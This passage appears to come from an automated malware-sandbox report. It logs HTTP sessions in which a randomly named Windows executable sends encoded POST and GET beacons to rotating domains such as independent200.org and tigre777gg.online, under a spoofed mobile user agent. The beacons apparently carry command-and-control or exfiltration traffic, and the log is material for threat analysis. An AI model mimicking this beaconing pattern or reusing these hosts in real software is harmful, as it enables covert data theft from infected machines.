Sep 14, 2024 11:11:56.460100889 CEST	790	OUT	POST /yl6y/ HTTP/1.1 Host: www.independent200.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.independent200.org Referer: http://www.independent200.org/yl6y/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 64 4e 69 4c 61 73 46 48 56 73 63 34 34 2b 61 4e 46 42 6d 66 4b 2f 77 73 66 62 72 45 4d 38 41 4a 76 30 70 39 6b 2b 66 65 38 64 6e 33 5a 4e 37 68 54 64 52 43 61 73 31 33 57 4f 43 42 61 42 54 45 64 66 4d 44 65 59 41 4e 48 6e 56 39 76 6f 76 30 4a 70 42 4f 41 79 56 56 54 50 54 38 48 69 55 75 65 56 39 6f 56 32 44 50 51 50 6b 73 70 2b 30 47 44 72 66 63 61 54 56 4b 45 79 58 58 51 56 43 6b 67 77 71 6f 61 66 78 4e 6f 52 78 4c 57 54 6f 61 78 75 63 56 74 41 49 43 63 70 57 68 42 41 69 35 59 4a 42 54 2b 2b 5a 37 76 57 6a 6d 45 69 43 66 51 78 66 5a 4f 52 53 4e 2b 4f 38 39 44 54 76 55 39 41 3d 3d Data Ascii: gd=dNiLasFHVsc44+aNFBmfK/wsfbrEM8AJv0p9k+fe8dn3ZN7hTdRCas13WOCBaBTEdfMDeYANHnV9vov0JpBOAyVVTPT8HiUueV9oV2DPQPksp+0GDrfcaTVKEyXXQVCkgwqoafxNoRxLWToaxucVtAICcpWhBAi5YJBT++Z7vWjmEiCfQxfZORSN+O89DTvU9A==
Sep 14, 2024 11:11:57.284892082 CEST	154	IN	HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 Date: Sat, 14 Sep 2024 09:11:57 GMT Content-Length: 11 Connection: close Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	103.42.108.46	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:59.008897066 CEST	810	OUT	POST /yl6y/ HTTP/1.1 Host: www.independent200.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.independent200.org Referer: http://www.independent200.org/yl6y/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 64 4e 69 4c 61 73 46 48 56 73 63 34 37 65 4b 4e 4a 42 61 66 44 2f 78 65 61 62 72 45 48 63 41 4e 76 30 31 39 6b 39 53 54 39 76 7a 33 5a 6f 2f 68 53 63 52 43 64 73 31 33 5a 75 44 4c 45 78 53 70 64 65 77 68 65 5a 4d 4e 48 6e 42 39 76 71 6e 30 4a 65 39 42 53 53 56 54 50 50 54 2b 59 79 55 75 65 56 39 6f 56 32 58 6c 51 50 73 73 70 4f 6b 47 43 50 72 44 5a 54 56 4a 54 43 58 58 62 31 43 67 67 77 72 39 61 65 39 6e 6f 53 4a 4c 57 53 30 61 78 36 49 4b 32 77 49 45 53 4a 58 4e 41 6a 62 69 63 62 38 64 77 2f 68 44 6c 54 48 36 4d 45 54 46 42 41 2b 4f 63 52 32 2b 6a 4a 31 4a 4f 51 53 64 6d 45 79 59 4e 74 5a 41 2f 39 59 58 53 46 63 38 76 6e 49 74 49 61 77 3d Data Ascii: gd=dNiLasFHVsc47eKNJBafD/xeabrEHcANv019k9ST9vz3Zo/hScRCds13ZuDLExSpdewheZMNHnB9vqn0Je9BSSVTPPT+YyUueV9oV2XlQPsspOkGCPrDZTVJTCXXb1Cggwr9ae9noSJLWS0ax6IK2wIESJXNAjbicb8dw/hDlTH6METFBA+OcR2+jJ1JOQSdmEyYNtZA/9YXSFc8vnItIaw=
Sep 14, 2024 11:11:59.884313107 CEST	154	IN	HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 Date: Sat, 14 Sep 2024 09:11:59 GMT Content-Length: 11 Connection: close Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	103.42.108.46	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:01.554862022 CEST	10892	OUT	POST /yl6y/ HTTP/1.1 Host: www.independent200.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.independent200.org Referer: http://www.independent200.org/yl6y/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 64 4e 69 4c 61 73 46 48 56 73 63 34 37 65 4b 4e 4a 42 61 66 44 2f 78 65 61 62 72 45 48 63 41 4e 76 30 31 39 6b 39 53 54 39 76 72 33 59 61 33 68 51 2f 4a 43 63 73 31 33 48 2b 44 49 45 78 53 52 64 66 59 6c 65 5a 51 37 48 68 46 39 75 49 66 30 50 71 70 42 4c 69 56 54 58 50 54 7a 48 69 55 37 65 55 4e 57 56 32 48 6c 51 50 73 73 70 49 67 47 46 62 66 44 56 7a 56 4b 45 79 58 6c 51 56 43 59 67 30 2b 4b 61 65 70 64 6f 69 70 4c 57 32 55 61 2b 70 67 4b 72 41 49 38 56 4a 58 56 41 69 6e 48 63 62 77 6e 77 2f 46 6c 6c 56 37 36 4d 44 6d 66 46 6b 6e 54 64 51 4b 50 2b 4c 51 70 4f 44 37 66 67 31 36 58 63 64 74 6a 6a 4d 64 36 51 56 52 73 33 6e 59 75 4d 66 61 2f 74 68 35 53 45 48 52 41 61 50 34 4c 73 4a 4f 56 56 71 57 44 74 51 30 57 67 69 77 4e 50 7a 65 63 34 43 6b 56 6a 6a 41 6d 32 64 4b 48 68 69 7a 33 49 4d 41 57 33 39 56 4d 36 6e 53 44 77 32 32 55 73 6b 7a 4b 4e 4a 31 38 4c 39 74 6e 31 58 41 4c 4d 4a 39 56 36 30 61 50 38 30 32 77 45 61 45 59 4b 55 6d 6b 45 49 47 6a 6b 70 49 38 79 52 34 38 59 6c 4c 6f 43 33 56 [TRUNCATED] Data Ascii: gd=dNiLasFHVsc47eKNJBafD/xeabrEHcANv019k9ST9vr3Ya3hQ/JCcs13H+DIExSRdfYleZQ7HhF9uIf0PqpBLiVTXPTzHiU7eUNWV2HlQPsspIgGFbfDVzVKEyXlQVCYg0+KaepdoipLW2Ua+pgKrAI8VJXVAinHcbwnw/FllV76MDmfFknTdQKP+LQpOD7fg16XcdtjjMd6QVRs3nYuMfa/th5SEHRAaP4LsJOVVqWDtQ0WgiwNPzec4CkVjjAm2dKHhiz3IMAW39VM6nSDw22UskzKNJ18L9tn1XALMJ9V60aP802wEaEYKUmkEIGjkpI8yR48YlLoC3V/zw7fHfuXRO3HlzjzdoTP0BHseBRR7A470gHp9rIWlsY0oVL1ie7ahetkuTu2tb+Zi6bYbyef6OPqn0kfTUza+Ffiq70A/flBio+YhwS23iRRRj73OW6ft4RoRdTMqdtqLvhMBbs+JLv47tNnWW3bdWqp323NQ9J6moLc3UFP8PCXPAgJaAkJX7zMIaOZ/EC7ToyWQ5zPeI7O6Mgcj/MY/7qbCUG19Ri76G3kgT1jkBkf0qM/YhouURqbphXF07p5a6UvvPCae5EVssQ7/itf/xAe4+gLErxWNywpJcNvfu0GXP5+feXloNhUY9xHHoUTu+NK3OsyADYDn6JayIZrFSDXZrtoS+XbfOBGn2HB2FFl0Tsw2kahXqEZ5q+77iL64cHn5xKpJS8HRmzkNG9YN8pSGAdYQRj4y/ym1NxsPRekuXT0FPcbvafHX7+Hotp/iKO1m3B/B1bucezvkBqkAdMB0sgzelbwA+ePUsQxemd+n7DyJlYlxH4JzcLL55OCqzLTX9aVcytKQMpQhlzLPRgZRTN/auQjTdxKrHQDaEcIohbyZCmRSrn6hI+xXxE5aVQnn0m89nDS4fIFZISYnqBRelS6eGOzHsSOSu7ladkzH5+qMwvUtPvwyrvoOL14tVLYfOwcpD1S3a4c4I66LGvw5p0UaJJNE [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	103.42.108.46	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:04.097100973 CEST	516	OUT	GET /yl6y/?gd=QPKrZbNCTa4h9OiZDCqTEYRHVYq8I9pQgXRm4OHk1vP2UInoYMEgLbhzG96tdyW5WcZsMbYjLnFg+NDONb5+DVpCe+n8LSxyZkRiMUCXQdQdgo9ddvaEU2A=&a0=_6Edzvj0xtFLdH HTTP/1.1 Host: www.independent200.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:12:04.990652084 CEST	154	IN	HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 Date: Sat, 14 Sep 2024 09:12:04 GMT Content-Length: 11 Connection: close Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49750	3.33.130.190	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:10.665671110 CEST	787	OUT	POST /06rp/ HTTP/1.1 Host: www.tigre777gg.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.tigre777gg.online Referer: http://www.tigre777gg.online/06rp/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 2b 67 78 39 6f 34 79 6c 49 59 47 4c 2b 76 35 67 56 72 6c 4e 6b 34 6b 67 42 49 39 62 79 75 53 76 46 61 46 6c 61 6c 76 6c 46 78 76 44 52 7a 54 52 5a 4b 42 69 31 69 2f 37 43 4c 6e 63 57 67 59 7a 4c 65 47 43 5a 43 7a 32 41 6d 64 6b 6a 6e 66 48 50 74 69 4e 55 55 51 31 2f 42 66 6a 6a 65 6e 4c 53 6e 66 4b 4d 55 4e 62 38 76 47 41 58 63 38 54 35 37 4a 64 36 33 54 41 44 53 31 2f 57 39 6d 56 37 6d 6d 76 64 4e 38 53 76 30 73 2b 68 75 44 66 67 44 6d 66 68 6d 6e 55 42 35 35 65 64 62 52 38 77 52 63 34 46 59 34 4a 65 36 39 4b 77 6e 49 4a 64 50 4a 7a 77 38 47 4b 66 4f 52 72 65 77 4c 4c 79 51 3d 3d Data Ascii: gd=+gx9o4ylIYGL+v5gVrlNk4kgBI9byuSvFaFlalvlFxvDRzTRZKBi1i/7CLncWgYzLeGCZCz2AmdkjnfHPtiNUUQ1/BfjjenLSnfKMUNb8vGAXc8T57Jd63TADS1/W9mV7mmvdN8Sv0s+huDfgDmfhmnUB55edbR8wRc4FY4Je69KwnIJdPJzw8GKfORrewLLyQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	3.33.130.190	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:13.210875988 CEST	807	OUT	POST /06rp/ HTTP/1.1 Host: www.tigre777gg.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.tigre777gg.online Referer: http://www.tigre777gg.online/06rp/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 2b 67 78 39 6f 34 79 6c 49 59 47 4c 2b 4d 68 67 5a 71 6c 4e 68 59 6b 68 64 59 39 62 38 4f 54 6d 46 61 42 6c 61 6e 44 4c 45 44 4c 44 51 52 37 52 59 4c 42 69 35 43 2f 37 61 62 6e 64 62 41 59 34 4c 65 61 67 5a 44 2f 32 41 6d 68 6b 6a 6a 58 48 50 61 32 4f 55 45 51 33 71 52 66 68 38 4f 6e 4c 53 6e 66 4b 4d 55 70 78 38 76 4f 41 58 4e 4d 54 37 5a 68 61 6b 6e 54 44 58 43 31 2f 53 39 6d 5a 37 6d 6e 34 64 50 59 38 76 77 63 2b 68 73 4c 66 68 57 4b 59 30 57 6e 61 50 5a 34 41 64 4c 35 77 34 78 42 77 44 62 30 64 42 70 35 61 38 42 5a 54 4d 2b 6f 6b 69 38 69 35 43 4a 59 66 54 7a 32 43 70 52 44 6c 4f 4f 6d 49 75 35 6d 6d 33 30 6b 73 52 62 62 57 6a 56 38 3d Data Ascii: gd=+gx9o4ylIYGL+MhgZqlNhYkhdY9b8OTmFaBlanDLEDLDQR7RYLBi5C/7abndbAY4LeagZD/2AmhkjjXHPa2OUEQ3qRfh8OnLSnfKMUpx8vOAXNMT7ZhaknTDXC1/S9mZ7mn4dPY8vwc+hsLfhWKY0WnaPZ4AdL5w4xBwDb0dBp5a8BZTM+oki8i5CJYfTz2CpRDlOOmIu5mm30ksRbbWjV8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	3.33.130.190	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:15.766053915 CEST	10889	OUT	POST /06rp/ HTTP/1.1 Host: www.tigre777gg.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.tigre777gg.online Referer: http://www.tigre777gg.online/06rp/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 2b 67 78 39 6f 34 79 6c 49 59 47 4c 2b 4d 68 67 5a 71 6c 4e 68 59 6b 68 64 59 39 62 38 4f 54 6d 46 61 42 6c 61 6e 44 4c 45 44 44 44 51 69 44 52 5a 73 39 69 34 43 2f 37 54 37 6e 59 62 41 59 6c 4c 65 53 6b 5a 44 6a 6d 41 6a 74 6b 68 45 58 48 4a 6f 4f 4f 4e 30 51 33 6f 52 66 6b 6a 65 6d 52 53 6e 50 4f 4d 55 5a 78 38 76 4f 41 58 4f 55 54 79 72 4a 61 6d 6e 54 41 44 53 31 6a 57 39 6d 39 37 6d 66 6f 64 50 63 43 73 42 67 2b 69 50 6a 66 6d 67 2b 59 32 32 6e 50 4d 5a 34 49 64 4c 6b 75 34 78 74 57 44 59 6f 33 42 75 78 61 76 6c 55 76 5a 38 6b 4e 78 64 4f 62 59 34 35 39 53 67 43 43 69 69 58 6a 65 2f 2b 6a 34 49 65 50 2f 54 64 34 4e 36 4b 56 38 69 66 45 61 34 59 32 44 35 4e 30 68 62 59 70 73 65 32 4f 39 43 41 66 5a 37 73 67 6b 66 46 45 4f 6f 78 73 48 71 65 77 4a 45 4d 53 78 59 6a 64 47 39 79 77 71 50 5a 45 72 41 39 39 41 41 64 69 4e 34 6b 4b 48 45 59 4a 6a 4d 76 5a 41 36 65 6d 42 31 5a 70 51 39 36 47 78 43 70 64 64 72 52 45 6d 4d 53 61 6e 31 71 71 51 41 59 33 35 4c 4d 37 31 6a 33 57 55 64 6a 55 6e 4e 35 [TRUNCATED] Data Ascii: gd=+gx9o4ylIYGL+MhgZqlNhYkhdY9b8OTmFaBlanDLEDDDQiDRZs9i4C/7T7nYbAYlLeSkZDjmAjtkhEXHJoOON0Q3oRfkjemRSnPOMUZx8vOAXOUTyrJamnTADS1jW9m97mfodPcCsBg+iPjfmg+Y22nPMZ4IdLku4xtWDYo3BuxavlUvZ8kNxdObY459SgCCiiXje/+j4IeP/Td4N6KV8ifEa4Y2D5N0hbYpse2O9CAfZ7sgkfFEOoxsHqewJEMSxYjdG9ywqPZErA99AAdiN4kKHEYJjMvZA6emB1ZpQ96GxCpddrREmMSan1qqQAY35LM71j3WUdjUnN5JZbTjywWRSxjeix2Sp7ockLH94iOVcnPxjUF4lEEGzAn/yJcWGb5Wix10fVQpTKmBpZy8unv/+TVZDZBbiKthMIBn+rAIWHLynRNG98oo7jQZFiHS2jCxtvtbMDxW9if+9wpLBZim9PhBMja2y31trVTqdNjQMIgVXCc5DqHBBfZau5VWBQvKwQQPXWCqsKPd3JiZPfR1ji004bojAb3elcFnP4OzE7iZJGrGcaPVrLMPBCUUT5zH6zhZ5c57wZ0hPrBGjhBplY9T9hgFY4p+eXa8bygwoghXwq4sXPc7X9hR8iCUUv+zQE2lpskXd0/t11Dz5a5qjmVnbj2V1PFOoBtIxYZDc638nTHGFiB2baJ5gbeF+67Lhn6W5ksGfUP/I4Dd4Y54+o1qS4jv6Bc4Nobkm21etG81cZ+Ut62FBvuxJE/Jie8vlp35BtHGZzJLtoE8gEMmw+aEEtpsgBvIoIR7L6odMLeC02i62jhGxkS+VyN7S0kHJQ1uH/iZM45w7eeHhTGayCsAJcD384pbjKFNsX/bCYblFuJIct7WBdsDfGja9A6K0yntl6Y9/1g8B/S6cRZlmf3lxb/l13cOhL7RT33NgbgpNxBXLS2AlUIS2qdUHZ+Mgj6YCy813cTa7uZmej4ZaWhOKSOAHVdTQ+cpnkcmkZF3V [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49753	3.33.130.190	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:18.305566072 CEST	515	OUT	GET /06rp/?gd=ziZdrN3wZJ2qpMxAfrlPkqpeB+M36+P6AeZYAnfnCDTQdjjRY74IsSepDIbPZx0tCufpSRr3CAxW0yXnKoSYcz8nolH3weaQT2LRQ2gsiM78APZpluIu/QY=&a0=_6Edzvj0xtFLdH HTTP/1.1 Host: www.tigre777gg.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:12:18.771275997 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 14 Sep 2024 09:12:18 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 67 64 3d 7a 69 5a 64 72 4e 33 77 5a 4a 32 71 70 4d 78 41 66 72 6c 50 6b 71 70 65 42 2b 4d 33 36 2b 50 36 41 65 5a 59 41 6e 66 6e 43 44 54 51 64 6a 6a 52 59 37 34 49 73 53 65 70 44 49 62 50 5a 78 30 74 43 75 66 70 53 52 72 33 43 41 78 57 30 79 58 6e 4b 6f 53 59 63 7a 38 6e 6f 6c 48 33 77 65 61 51 54 32 4c 52 51 32 67 73 69 4d 37 38 41 50 5a 70 6c 75 49 75 2f 51 59 3d 26 61 30 3d 5f 36 45 64 7a 76 6a 30 78 74 46 4c 64 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?gd=ziZdrN3wZJ2qpMxAfrlPkqpeB+M36+P6AeZYAnfnCDTQdjjRY74IsSepDIbPZx0tCufpSRr3CAxW0yXnKoSYcz8nolH3weaQT2LRQ2gsiM78APZpluIu/QY=&a0=_6Edzvj0xtFLdH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	199.59.243.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:32.041430950 CEST	802	OUT	POST /wwak/ HTTP/1.1 Host: www.personal-loans-jp8.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.personal-loans-jp8.xyz Referer: http://www.personal-loans-jp8.xyz/wwak/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 4a 31 37 6d 71 31 56 73 79 41 52 4f 4e 66 61 44 42 62 37 4e 76 69 4b 7a 35 2f 4a 48 56 4e 46 51 69 62 76 6d 50 67 6e 57 32 44 74 4f 70 42 56 4d 4d 6c 6b 4e 6e 63 77 38 56 4f 31 79 33 63 42 4a 36 72 71 54 68 44 77 4f 30 50 4a 75 38 61 7a 65 46 41 46 31 52 6e 39 4b 4b 6e 42 41 53 33 31 49 71 51 4f 57 4f 5a 45 77 38 68 2b 30 73 39 37 43 56 59 62 59 48 42 33 4c 69 75 72 7a 36 43 47 36 72 65 6f 53 58 45 55 54 38 68 6f 2f 41 6c 41 4d 30 70 65 66 52 55 46 63 65 64 4b 51 71 48 73 6f 67 78 6a 50 6a 34 36 6d 7a 6c 6c 69 4c 44 36 56 65 6b 72 33 46 6c 6b 39 57 50 6c 6c 39 62 67 33 61 67 3d 3d Data Ascii: gd=J17mq1VsyARONfaDBb7NviKz5/JHVNFQibvmPgnW2DtOpBVMMlkNncw8VO1y3cBJ6rqThDwO0PJu8azeFAF1Rn9KKnBAS31IqQOWOZEw8h+0s97CVYbYHB3Liurz6CG6reoSXEUT8ho/AlAM0pefRUFcedKQqHsogxjPj46mzlliLD6Vekr3Flk9WPll9bg3ag==
Sep 14, 2024 11:12:32.485328913 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 14 Sep 2024 09:12:32 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: bb2eeeab-249a-437a-ad87-0b248c9b00aa cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y9CIEGl8IQC3sZZtJfUxnTEEj80M9/E/jZudzVpmwKU4r70oseltsDt2jU2oJPvlwT9g0qV2Is8J8BgfpbvynQ== set-cookie: parking_session=bb2eeeab-249a-437a-ad87-0b248c9b00aa; expires=Sat, 14 Sep 2024 09:27:32 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 59 39 43 49 45 47 6c 38 49 51 43 33 73 5a 5a 74 4a 66 55 78 6e 54 45 45 6a 38 30 4d 39 2f 45 2f 6a 5a 75 64 7a 56 70 6d 77 4b 55 34 72 37 30 6f 73 65 6c 74 73 44 74 32 6a 55 32 6f 4a 50 76 6c 77 54 39 67 30 71 56 32 49 73 38 4a 38 42 67 66 70 62 76 79 6e 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y9CIEGl8IQC3sZZtJfUxnTEEj80M9/E/jZudzVpmwKU4r70oseltsDt2jU2oJPvlwT9g0qV2Is8J8BgfpbvynQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 14, 2024 11:12:32.486071110 CEST	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYmIyZWVlYWItMjQ5YS00MzdhLWFkODctMGIyNDhjOWIwMGFhIiwicGFnZV90aW1lIjoxNzI2MzA1MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49755	199.59.243.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
